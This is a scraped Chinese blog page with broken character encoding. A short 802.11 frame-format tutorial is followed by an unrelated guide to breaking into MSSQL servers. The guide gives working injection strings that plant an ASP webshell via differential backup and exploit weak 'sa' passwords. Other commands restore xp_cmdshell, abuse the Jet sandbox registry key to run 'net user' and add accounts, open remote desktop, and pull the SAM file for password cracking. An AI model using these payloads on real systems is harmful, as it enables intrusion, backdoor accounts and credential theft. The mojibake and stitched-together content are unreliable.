??xml version="1.0" encoding="utf-8" standalone="yes"?>
作者:(x)__ay
在上一中Q简要概qC(jin)无线|络的通信机制Q那么在下来得开始介l一下无U网l的通信l节?jin)。说到这里,以后所说的内容?x)有?02.11 无线|络权威指南 W二版媄(jing)印版》这本书内容的媄(jing)子,q有内容中会(x)加上通过wireshark抓包的分析以?qing)IEEE关于wlan 80211协议的说明文档。虽然说q本书虽然讲得好Q但是很多数据包l节上的问题q是需要我们亲手去做实验去验证的,一向认为学?fn)不能仅仅看书,亲手去验证一些你认ؓ(f)疑惑的地方可能会(x)比做几道译题的效果要好得多得多 ^_^
1 MAC802.11数据帧格?/span>
首先要说明的是mac802.11的格式很特别,它与TCP/IPq一cd议不同,它的长度是可变的。不同功能的数据帧长度会(x)不一栗这一Ҏ(gu)说明mac802.11数据帧显得更加灵z,然而,也会(x)更加复杂。mac 802.11的数据长度不定主要是由于以下几点决定的
1.1 mac地址数目不定Q根据cd不同Qmac 802.11的mac地址C(x)不一栗比如说 ACK帧仅有一个mac地址Q而数据?个mac地址Q在WDS模式Q下面要提到Q下Q头竟然有4个mac地址?/span>
1.2 802.11的管理所携带的信息长度不定,在管理中,不仅仅只有一些类gmac地址Q分片标志之cȝq些信息Q而且另外q会(x)包括一些其它的信息Q这些信息有关于安全讄的,有关于物理通信的,比如说我们的SSID名称是通过理帧获得的。AP?x)根据不同的情况发送包含有不同信息的管理。管理的细节问题我们会(x)在后面的文章中讨论,q里暂时跌?/span>
1.3 加密Qwep,wpa{)(j)信息QQOSQquality of serviceQ信息,若有加密的数据格式和没有加密的数据帧格式还不一P加密数据帧格式还多了(jin)个加密头Q用于解密用。然则QOS也是同样道理?/span>
竟然mac 802.11数据帧那么复杂,我们先从通用的格式开始说?/span>
帧控?2 bytes)Q?/span>
用于指示数据帧的cdQ是否分片等{信息,说白?jin),q个字段是记录?jin)mac 802.11的属性?/span>
*Protocol versionQ表明版本类型,现在所有里面q个字段都是0x00
*TypeQ指明数据cdQ是理帧,数据帧还是控制
*SubtypeQ指明数据的子cdQ因为就是控制帧,控制帧还分RTS帧,CTS帧,ACK帧等{,通过q个域判断出该数据的具体类?/span>
*To DS/From DSQ这两个数据帧表明数据包的发送方向,分四U可能情况讨?/span>
**若数据包To DS?QFrom DS?Q表明该数据包在|络L间传?/span>
**若数据包To DS?QFrom DS?Q表明该数据帧来自AP
**若数据包To DS?QFrom DS?Q表明该数据帧发送往AP
**若数据包To DS?QFrom DS?Q表明该数据帧是从AP发送自AP的,也就是说q个是个WDS(Wireless Distribution System)数据帧,至于什么是WDSQ可以参考下q里的介l?#传送门
*MoreflagQ分片标志,若数据被分片了(jin)Q那么这个标志ؓ(f)1Q否则ؓ(f)0
*RetryQ表明是否是重发的Q若是ؓ(f)1Q不是ؓ(f)0
*PowerManageQ当|络L处于省电(sh)模式Ӟ该标志ؓ(f)1Q否则ؓ(f)0.
*MoredataQ当AP~存?jin)处于省甉|式下的网l主机的数据包时QAPl该省电(sh)模式下的|络L的数据中该位ؓ(f)1Q否则ؓ(f)0
*WepQ加密标志,若ؓ(f)1表示数据内容加密Q否则ؓ(f)0
*Order q个表示用于PCF模式下,q里不予讨论
生存周期/Associate ID (2 bytes):
先前不是讲过虚拟载L监听的一个机制么Q他的Network Allocation VectorQNAVQ就存在q里Q这里叫durationQ即生存周期。当然不是所有时候这个字D存攄NAV倹{在特定cd数据帧中Q它也可能表CAssociate ID。一旦有L兌到AP?jin),AP都会(x)Z机分配一个Associate ID。比如在|络L通知AP自己要进入省甉|式(power savingQ的时候,|络L发给AP的通知数据帧里面,q个域就表示的是Associate ID而不是NAV?jin)。当然还可以通过最高位来判断这个域的含义:(x)
*?5bit?的时候,该域表示duration
*?5bit?Q?4bit?的时候,表示Associate ID?/span>
序列控制(2 bytesQ? bits/12 bits)Q这个域?部分Q一个是分片序列号和标识帧列受分片序列号是记录分片序号的。比如一个A被分片成a1Qa2Qa3Q那么a1Qa2Qa3q三个分片的分片序列分别是0,1,2。这个和IP分段原理一L(fng)Q该域占4个比特位。剩下的12个比特位q于标识的序Pq个跟IP头里面的序列号一栗?/span>
MAC地址 1-4
q四个地址在不同中有不同含义。这些以后会(x)讨论?/span>
以后我们可能?x)碰C下类型的mac地址
RA(receiver address)Q无U网l中Q该数据帧的接收?/span>
TA(transmitter address)Q无U网l中Q该数据帧的发送?/span>
BSSID(Basic Service Set ID)Q在infrastructure BBS中,BSSID是AP的mac地址。但是在IBBS中,它是一个随机即生成?6位二q制序列Q还有最高两位分别是Universal/Local标志位和Individual/Group标志位。IBBS的BSSID中,Universal/Local标志位ؓ(f)1Q表C本地MACQIndividual/Group标志位ؓ(f)0Q表C是个hMAC。也是说在IBBS中,BSSID地址应该cd 10xxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxxQx表示随机数要?要么1, 2q制表示Q?/span>
DA(destine address)Q该帧的目的mac地址
SA(source address)Q该帧的源mac地址
q里的DA和SA含义和普通以太网中的含义一P在无U网l中可能我们需要通过AP把数据发送到其它|络内的某台L中。但是有的h?x)奇怪,直接在RA中填q台L的mac地址不就久好?jin)么。但是请注意RA的含义,说的是无U网l中的接收者,不是|络中的接收者,也就是说q台目的L不再无线|络范围内。在q种情况下我们的RA只是一个中转,所以需要多Z个DA字段来指明该帧的最l目的地Q当?dng)如果有?jin)DA那必LSAQ因目的L要回应的话,SA字段是必不可的?假设没有SA字段Q那么目的主机回应的数据包就只能发送到源主机所属的AP上了(jin)~)
最典型的一个例子就是在WDS模式下,数据帧会(x)?个地址QRAQTA表示接收端和发送端Q这两个地址用于无线传输的时候。还?个地址是DA和SAQ分别跟以太|中一栯C源地址和目的地址。WDS帧的格式如下图:(x)
打个比方_(d)AP1有主机AQAP2有主机B。如果A要和B同学Q那么A?x)首先发送数据lAP1Q然?/span>AP1发送lAP2 。这个时候里面?x)?个地址Q分别是RA=mac(AP2)QTA=mac(AP1)QDA=mac(B)QSA=mac(A)?/span>
关于差异备分我想已经臭名q洋?jin)吧。下面我们先来简单说下数据库的差异备分:(x)
差异备䆾所Z的常规数据库备䆾、部分备份或文g备䆾UCؓ(f)差异的“基准?i>或“差异基准?i>。仅复制备䆾不能用作差异基准。文件差异备份的基准备䆾可以包含在完整备份、文件备份或部分备䆾中。有兌l信息,请参阅在 单模式下的备分或在完整模式下的备?/strong> ?/strong>
差异备䆾只记录自上次建立差异基准后更改的数据。差异备份比差异基准更小且更快,便于执行频繁备䆾Q从而降低了(jin)数据丢失的风险?/strong>
除只L据库之外Q其他数据库中每个文件的差异基准信息均保存在L件组的一个目录中。每个数据库的差异基准信息亦存储?master 数据库中?/strong>
————以上是引用MSDN对差异备分的解释
所谓的差异备分Q就是只备分最q一ơ备分之后到此次备分之前所增加的那一部分数据。打个比Ҏ(gu)WNơ备分后数据库存攄内容是ABCDQ然后我WN+1? 备分的时候用差异备分,此时数据库的存放的内Ҏ(gu)ABCDEFG。那么我差异备分的结果就是EFGQ只备分增加量。都明白?jin)我们就开始讲Ҏ(gu)用的东西 啦,嘿嘿~~Z么要用差异备分呢Q因模点的网站数据库一般有几十M甚至Q那么你备分出来的数据就有几十MQ然后你从WEB上打开个几十M内容文g? 话……估计要很久吧。这么入늚话我觉得你还是直接拿刀扄让他把后台密码l你好了(jin)。再者我们备分的一句话木马?x)受到?jing)响,如果数据库中存在《或?? cȝ字符的话。可能导致我们小马无法访问。还有就是备分那么大的数据库可能?x)导致脚本操作超Ӟ所以我们得量减少我们备分出来的数据库的大。ؓ(f)什么备 分数据库可以入늽站了(jin)呢……我们往下蟩
我不是分割线
________________________________________________________
我们来介l下SQL的备分语句:(x)
BACKUP DATABASE ****Q表CZ要备分的数据库名Q?TO DISK='*****'Q表CZ要备分的数据库\径)(j) WITH DIFFERENTIALQ告诉数据库你要q行差异备分Q如果没有WITH DIFFERENTIAL则进行完整备分)(j)
举个例子Q比如我们知道了(jin)WEB服务器的物理路径 D:\WEB\,服务器的数据库名为XXX
那么如果我们一个一句话木马插入数据库中Q后面讲刎ͼ(j)然后备分数据库,具体语句如下
BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL
注意到D:\WEB\AY.ASP没有Q意思就是说把数据库备分到WEB目录下而且数据库备分文件名为AY.ASPQ可喜的是? AY.ASPq个文g中存在我们的一句话木马语句Q当服务器遇到ASP后缀名的文g时会(x)对该文gq行ASP解析QASP解析的原则是遇到<%开始解 析,%>l束解析。比如我们向数据库中插入一句话木马Q这个时候我们插入的数据是新增的数据Q然后用差异备分备分一个ASP文g到WEB目录下。那 么这个ASP文g下就?x)存在我们的木马内容了(jin)。然后访问一句话木马Q然后小马传大马?/font>
别告诉我不知道怎么讉KQ因为很多hq是不理解WEB物理路径和我们访问的URL之间的关pR简单说下好?jin),比如你的WEB根目录在q样D:\WEB\Q? 文g夹下有你惌问的文gAY.ASP。网站域名ؓ(f)http:\\xxx.xxx.xxxQ那么你只要讉Khttp:\\xxx.xxx.xxx \AY.ASP可以了(jin)。你的WEBSHELL到手了(jin)Q入侉|务器的进度就完成?0%Qؓ(f)什么是10%呢?因ؓ(f)90%的难度在提权~呵呵Q?/font>
原理知道没?接下来是实践?jin),往下看之前你把SQL的基本语句搞懂?/font>
来,再往下蟩
我还是不是分割线
____________________________________________________________________________
首先我们需要注入的数据库类型是MSSQL的,而且q个数据库的q接权限必须是DB_OWNER的权限。(一般MSSQL数据库网站都是这个权限的Q有的权限。满以上条件的|站其实是比较多的。呵呵…?/font>
URL;create table ay(ay1 image) --
新徏一个名为AY的表 表内存在名ؓ(f)AY1的图象类型的字段
URL;backup database 数据库名 to disk='物理路径' with DIFFERENTIAL --
注意Q这ơ备分是要减数据库的备分量
URL;insert into ay (ay1) values (“一句话木马") --
向你新徏的表中插入一句话木马内容
URL;backup database 数据库名 to disk='物理路径'with DIFFERENTIAL --
备分数据库到WEB目录?
URL;drop table xy --
删除表名Q清理痕q?/font>
步骤介绍完了(jin)Q也许大家还是有疑惑Q就是ؓ(f)什么第2句要备分一下,比如q是上面的例子,我们备分之前数据库存在内容ؓ(f)ABCDQ我们进行差异备分,然后? 入小马,那么数据库内容表为ABCDEQE代表马内容。那么差异备分出来内容ؓ(f)E。ؓ(f)什么这样呢Q因Z不知道这台服务器多久之前备分q的Q万一q服? 器没备分q而且数据库内Ҏ(gu)几百M呢?所以严谨点的办法就是先备分一ơ在写入一句话木马?/font>
首先讲下什么是1433弱口令漏z,所谓弱口o(h)是指很单的一些密码随便猜p猜出来的Q比如说密码?23Q?23456Qadmin甚至用户名密? 相同{等之类的状况,我们pL获得Ҏ(gu)的密码。呵呵,许多人都很懒Q所以密码都很简单,包括我也是,呵呵……(而且q经帔R123当(f)时密码)(j)。在? 下什么是1433弱口令,1433所指的?个服务端口,什么服务呢Q那是传说中的MSSQL啦,试想MSSQL安装之初的默认密码是I,然而又存在? 多懒|管Q那么我们只要拿个工L(fng)单的扫下在检下密码……嘿嘎쀦…可惌之扫到1433弱口令的几率q是蛮大的~呵呵
接下来我们说说拿到SA权限?433弱口令我们能q什么,大家都知道XP_CMDSHELLq个扩展储存吧,q个扩展储存可以看做是MSSQL提供l管 理者执行CMD命o(h)的一个功能模块,通过q个我们可以执行CMD命o(h)而更可喜的是SA权限的帐户一般都是以SYSTEM权限启动的,权限相当于计机理 员权限,那么我们相当于可以用CMD命o(h)的Ş式控制你要入늚计算Z(jin)Q当然我们肯定不?x)满于用CMD控制机器Q我们的目标是通过3389或者其他的? 件来辑ֈ控制计算机的目的。下面我们来分类讨论各种情况下的切入点,仅供参考…?/font>
以下假设你拿C(jin)SA权限若口令的机器。有专门的SQL查询分析器可以连接对?大家有兴可以去下一个来看看.
1.?389l端开启的时候,而目标机子也没做cMIPq样的过滤,那么我们q接执行CMD命o(h)加个用户Q然后用加的用户MdO(jin)K?jin)~呵呵
Q需要无敌RP啊~~~Q?/font>
2.那么如果CMD命o(h)可以执行,但是没开3389,我们先扫下目标IP,看他有没有开80端口,有的?0%是有 WEB服务?那么我们是SA权限直接丢个马上去,嘿嘿.........有了(jin)马我们可以上传东西啦~~传个开3389的工具上L?机器重启下就? 以登3389?
以下是SA权限下备分小马的语句;
exec sp_makewebtask '备分路径',' select ''一句话木马'' ';--
例子如下
http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--
其实1433弱口令跟注入非常怼,比如?433上有WEB服务你也可以用查询语句把用户名和密码扑և来进后台传马.思\是非常多?但是看你怎么使用?
MSSQL的功能非常强?所以几乎没有它办不到的?扩展储存没删除情况下~而且SA权限没被降ؓ(f)USERS用户启动).但是但是万一人家把CMDl你 删除?恢复也恢复不?jin)的时候又该怎么办呢?如果我们没有CMDSHELL,又没开3389,那么SA权限看v来就象是鸡肋~
关于在SQLq接器上查看目录的方?/font>
exec xp_dirtree '(目录?比如c:\)',1,1
执行后就?x)返回目标机器指定目录下的文件夹和文?那么通过q个你就可以列目录了(jin)
q个扩展储存的说明在注入语句集合里面?q里qq?/font>
exec xp_regread/exec xp_regwrite 注册表操作的扩展储存
下面引用啊D注入语句里面的例?/font>
写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
L册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
如果CMDSHELL用不?jin)的时?我们来试着恢复下CMD
exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
然后执行CMD命o(h),如果q是不行的话,唉~~那没办法?呵呵,一?x)讲?呵呵~~~l箋往下看吧~
?我们来提一下传说中的沙盒模式提?
不是分割U?/font>
--------------------------------------------------------------------------------------------------------------------------------
首先我在<Jet引擎可以调用VBA的shell()函数>(http://support.microsoft.com/kb /q239104/)q䆾资料知道在accessl里可以直接进行sql查询,具体的在Access中测?试的SQL语句如下:
SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');
查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行?接下来写一个VBS脚本Lq接一个mdb来测试这个SQL语句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
q行后会(x)出现"表达式中?Shell'函数?
定义"的错?<Jet引擎可以调用VBA?
shell()函数>提到WINDOWS在Jet引擎中设|了(jin)一个名为SandBoxMode的开?它的注册表位|在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode?0为在M所
有者中中都止L(fng)安全讄,1Z在允许的范围之内,2则是必须是Access的模式下,3则是完全开启安全设|?默认情况下ؓ(f)2,只能在Access
的模式下调用VBA的shell()函数,我们试此注册表值改?,l果成功的运行了(jin)VBS利用Jet引擎可以调用VBA的shell()函数执行?
pȝ命o(h).
通常一台MSSQL服务器同时支持Access数据?所以只要有一个sa或者dbowner的连?满了(jin)修改注册表的条g,因ؓ(f)MSSQL有一个名为xp_regwrite的扩?它的作用是修Ҏ(gu)册表的?语法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一个sa或者dbowner的连接的SQL注入?可以构造出如下注入语句
InjectionURL;EXEC
master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
那我们将SandBoxMode开关的注册表g改ؓ(f)0成?
?接着q接C个Access数据库中,可以执行系l命?当然执行pȝ命o(h)我们只需要一个Access数据库相关Select的注入点或者直接用
ASP文gSelect调用q个VBA?
shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特D的数据库或者连接到另一个数据库之中.当我们有一?
SA权限q接的时?可以做到打开Jet引擎q接C个Access数据?同时我们搜烦(ch)pȝ文g?x)发现windowspȝ目录下本w就存在两个
Access数据?位置?windir%\system32\ias\ias.mdb或?windir%\system32\ias\
dnary.mdb,q样一来我们又可以利用OpenRowSet函数构造出如下注入语句:
InjectionURL';Select *
From
OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select
shell("net user ray 123 /ad")');--
如果你觉得不大好懂的话,我可以给你做一个简化的理解Q?br />1QAccess可以调用VBS的函敎ͼ以System权限执行L命o(h)
2QAccess执行q个命o(h)是有条g的,需要一个开兌打开
3Q这个开兛_注册表里
4QSA是有权限写注册表?br />5Q用SA写注册表的权限打开那个开?br />6Q调用Access里的执行命o(h)Ҏ(gu)Q以system权限执行L命o(h)
------------------------------------------------------------------------------------------
不是分割U?
看完?jin)吧~辛苦?jin)~呵呵,呵呵,直接把原文脓(chung)出来?我好懒啊我~原理是上面说的那个
CMD不是删除?jin)?嘿嘿~我们用刚刚讲的方法来执行,具体如下
首先执行
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1
呵呵~把注册表改了(jin)~
不放心的话我们来读读看~
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'
如果q回的值是1的话证明命o(h)成功?
那么我们可以用SYSTEM函数来执行命令了(jin) 下面l出执行命o(h)语句
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c query user >c:\windows\11.txt")');
U色字体的是我执行的命o(h),>c:\windows \11.txt的意思是把回昑֑令导入到windows的文件夹下的1.txt,一?x)要用到?黑色字体是我们数据库的\?特别需要注意的是如果是 windows2000 那么灰色部分应该是c:\winnt\system32\ias\ias.mdb
如果是windows2003的话是c:\windows\system32\ias\ias.mdb
后边也是一h?win2003是windows目录?000是winnt目录
执行命o(h)的时候是不是心里面很没底?而且有些命o(h)比如NETSTAT之类的是需要查看回昄,那么怎么才能得到回显呢~~~嘿嘿~~无疑MSSQL肯定为我们提供了(jin)d文g内容的功能操?
那么我们来看看怎么操作的吧~~呵呵
操作如下
select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')
灰色部分是文件所在目?而红色是文g?
比如我想读D:\WWW\XXX\目录下的A.ASP文g,那么语句如下
select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')
q记得我刚刚把命令回昑֯出的步骤?我们q上面q个操作来读取TXT内容可以得到我们的CMD执行命o(h)回显?很好玩吧~呵呵
q就是我饶过CMDSHELL来执行命令的一点心?呵呵 我们接下来说?389的问?
一些关?389l端的信?
其实在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp下的PortNumber键??
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber键?
记录着3389的端口号 如果xq接端口L(fng)话直接用xp_regwrite修改对应的键值就O(jin)K?jin)~呵呵
那么接下来说说最关键的问?在注册表下存在一个决?389开启与否的键?键g|如?
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server下的fDenyTSConnections
其值是0表示开?1表示关闭,我们直接用XP_REGWRITE把g改就好了(jin)~~
语句如下
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0
你们不放心可以用XP_REGREAD认
具体语句不写?大家现学现卖?呵呵~~
好了(jin),最后说q我没实践过的思\,理论上可行吧,呵呵
当你的沙盒模式也不能用的时候那?嘿嘿 ^-^
我们L(fng)q是能从目标机器上拿点什么东西的?比如说SAM啊~呵呵
首先用OPENROWSETq个函数把SAM的内Ҏ(gu)出来
然后复制内容,本地新徏个SAM把复制的内容D?保存,相当与把目标机子的SAMl下下来,然后暴吧~~把管理员的密码暴出来,接着用XP_REGWRITE?389端口开?jin)就好?jin)
其实开3389的时候还?x)遇到很多情?׃我没实践,所以没什么好说的?如果大家以后遇到什么这斚w的问题可以拿来一赯?嘿嘿
至于怎么破SAM,OPENROWSET的函数用法之cȝ׃说了(jin)~ȝ度一下吧~~